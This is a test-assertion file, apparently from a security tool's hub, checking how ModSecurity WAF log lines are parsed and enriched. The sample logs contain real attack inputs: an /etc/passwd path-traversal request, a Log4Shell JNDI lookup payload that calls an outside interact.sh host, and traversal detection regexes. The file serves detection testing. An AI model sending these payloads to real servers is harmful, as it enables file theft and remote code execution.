176 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["program"] == "modsecurity"
177 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruleseverity"] == "2"
178 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag0"] == "application-multi"
179 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["targethost"] == "10.0.1.61"
180 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["time"] == "2021/11/18 08:34:27"
181 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["accuracy"] == "0"
182 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
183 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["rulemessage"] == "Remote Command Execution: Unix Shell Code Found"
184 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag3"] == "attack-rce"
185 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag7"] == "OWASP_TOP_10/A1"
186 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["cid"] == "1083"
187 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf\"] [line \"488\"] [id \"932160\"] [rev \"\"] [msg \"Remote Command Execution: Unix Shell Code Found\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-shell\"] [tag \"platform-unix\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION\"] [tag \"WASCTC/WASC-31\"] [tag \"OWASP_TOP_10/A1\"] [tag \"PCI/6.5.2\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
188 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["remote_addr"] == "82.64.145.141"
189 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"
190 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag4"] == "OWASP_CRS"
191 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["loglevel"] == "info"
192 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ref"] == "o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
193 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruleline"] == "488"
194 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["targeturi"] == "/"
195 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["version"] == "OWASP_CRS/3.2.0"
196 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["maturity"] == "0"
197 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"
198 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["datasource_type"] == "file"
199 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["log_type"] == "modsecurity"
200 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["modsec_message"] == "Remote Command Execution: Unix Shell Code Found"
201 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["modsec_ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"
202 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["rule_id"] == "932160"
203 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["source_ip"] == "82.64.145.141"
204 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
205 results["s01-parse"]["crowdsecurity/modsecurity"][4].Success == true
206 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag3"] == "attack-generic"
207 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["target_fqdn"] == "foobar.com"
208 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Score: 20)"
209 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["pid"] == "86596"
210 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["remote_addr"] == "82.64.145.141"
211 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"
212 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag1"] == "language-multi"
213 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["program"] == "modsecurity"
214 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruleid"] == "949110"
215 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"79\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 20)\"] [data \"\"] [severity \"2\"] [ver \"\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
216 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruleline"] == "79"
217 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag2"] == "platform-multi"
218 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["modsecseverity"] == "Warning"
219 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["loglevel"] == "info"
220 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["maturity"] == "0"
221 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruleseverity"] == "2"
222 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["time"] == "2021/11/18 08:34:27"
223 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["uniqueid"] == "163722446755.059797"
224 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["accuracy"] == "0"
225 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["http_version"] == "1.1"
226 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["verb"] == "GET"
227 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["cid"] == "1083"
228 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["targeturi"] == "/"
229 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' )"
230 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
231 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag0"] == "application-multi"
232 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["targethost"] == "10.0.1.61"
233 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["tid"] == "86596"
234 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
235 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["datasource_type"] == "file"
236 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["log_type"] == "modsecurity"
237 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["modsec_message"] == "Inbound Anomaly Score Exceeded (Total Score: 20)"
238 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["rule_id"] == "949110"
239 results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["source_ip"] == "82.64.145.141"
240 results["s01-parse"]["crowdsecurity/modsecurity"][5].Success == true
241 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["loglevel"] == "error"
242 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruleline"] == "80"
243 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["cid"] == "18722"
244 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruleid"] == "949110"
245 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Score: 370)"
246 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["tid"] == "972"
247 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["uniqueid"] == "1640518611"
248 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag1"] == "language-multi"
249 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["remote_addr"] == "161.97.102.240"
250 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["rulefile"] == "/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf"
251 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruleseverity"] == "2"
252 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag2"] == "platform-multi"
253 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["targeturi"] == "/"
254 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["version"] == "OWASP_CRS/3.x.x"
255 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["modsecmessage"] == "Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' )"
256 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag0"] == "application-multi"
257 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["time"] == "2021/12/26 12:36:51"
258 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["accuracy"] == "0"
259 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["target_fqdn"] == "42.42.42.42"
260 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["message"] == "2021/12/26 12:36:51 [error] 972#972: *18722 [client 161.97.102.240] ModSecurity: Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' ) [file \"/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"80\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 370)\"] [data \"\"] [severity \"2\"] [ver \"OWASP_CRS/3.x.x\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"192.168.0.1\"] [uri \"/\"] [unique_id \"1640518611\"] [ref \"\"], client: 161.97.102.240, server: 42.42.42.42, request: \"GET /?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a} HTTP/1.1\", host: \"hostname.domain:443\", referrer: \"${jndi:ldap://${hostName}.referer.c72643ci97rd1ek9i7u0c8rf8iejf6fms.interact.sh}\""
261 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["pid"] == "972"
262 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["program"] == "modsecurity"
263 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["targethost"] == "192.168.0.1"
264 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["verb"] == "GET"
265 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["http_version"] == "1.1"
266 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["request"] == "/?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a}"
267 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag3"] == "attack-generic"
268 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["maturity"] == "0"
269 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["datasource_type"] == "file"
270 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["log_type"] == "modsecurity"
271 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["modsec_message"] == "Inbound Anomaly Score Exceeded (Total Score: 370)"
272 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["rule_id"] == "949110"
273 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["source_ip"] == "161.97.102.240"
274 results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
275 len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 6
276 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true
277 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["targeturi"] == "/"
278 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["uniqueid"] == "163722446755.059797"
279 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"
280 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["modsecseverity"] == "Warning"
281 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruleid"] == "930100"
282 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "2021/11/18 08:34:27"
283 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "GET"
284 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["accuracy"] == "0"
285 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
286 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruleseverity"] == "2"
287 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["tid"] == "86596"
288 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag4"] == "OWASP_CRS"
289 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_version"] == "1.1"
290 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["loglevel"] == "info"
291 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["maturity"] == "0"
292 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruleline"] == "29"
293 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)"
294 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' )"
295 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "modsecurity"
296 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag0"] == "application-multi"
297 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag1"] == "language-multi"
298 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag2"] == "platform-multi"
299 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag3"] == "attack-lfi"
300 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["version"] == "OWASP_CRS/3.2.0"
301 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["targethost"] == "10.0.1.61"
302 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"29\"] [id \"930100\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
303 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["pid"] == "86596"
304 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ref"] == "o8,4o14,4o20,4o26,4v4,40"
305 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "82.64.145.141"
306 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd"
307 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["cid"] == "1083"
308 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"
309 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["target_fqdn"] == "foobar.com"
310 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z"
311 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
312 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file"
313 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "modsecurity"
314 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["modsec_message"] == "Path Traversal Attack (/../)"
315 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["modsec_ruledata"] == "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd"
316 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["rule_id"] == "930100"
317 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "82.64.145.141"
318 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z"
319 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true
320 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
321 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["verb"] == "GET"
322 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_version"] == "1.1"
323 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["loglevel"] == "info"
324 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["maturity"] == "0"
325 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["targethost"] == "10.0.1.61"
326 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["tid"] == "86596"
327 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["pid"] == "86596"
328 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["targeturi"] == "/"
329 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["uniqueid"] == "163722446755.059797"
330 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["version"] == "OWASP_CRS/3.2.0"
331 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' )"
332 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd"
333 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)"
334 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "2021/11/18 08:34:27"
335 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["modsecseverity"] == "Warning"
336 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_addr"] == "82.64.145.141"
337 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ruleid"] == "930110"
338 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["cid"] == "1083"
339 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"51\"] [id \"930110\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
340 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["target_fqdn"] == "foobar.com"
341 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "modsecurity"
342 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ref"] == "o8,4o14,4o20,4o26,4v4,40"
343 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["accuracy"] == "0"
344 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ruleseverity"] == "2"
345 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"
346 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ruleline"] == "51"
347 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["modsec_message"] == "Path Traversal Attack (/../)"
348 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["modsec_ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd"
349 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["rule_id"] == "930110"
350 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "82.64.145.141"
351 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z"
352 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
353 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file"
354 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "modsecurity"
355 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z"
356 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true
357 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["modsecmessage"] == "Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' )"
358 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["remote_addr"] == "82.64.145.141"
359 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"
360 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["targeturi"] == "/"
361 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["uniqueid"] == "163722446755.059797"
362 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["modsecseverity"] == "Warning"
363 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ref"] == "o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase"
364 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruleid"] == "930120"
365 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruleline"] == "76"
366 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag0"] == "application-multi"
367 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag3"] == "attack-lfi"
368 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["verb"] == "GET"
369 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["accuracy"] == "0"
370 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["http_version"] == "1.1"
371 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["loglevel"] == "info"
372 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag4"] == "OWASP_CRS"
373 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["pid"] == "86596"
374 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"
375 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruleseverity"] == "2"
376 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag1"] == "language-multi"
377 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["targethost"] == "10.0.1.61"
378 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag2"] == "platform-multi"
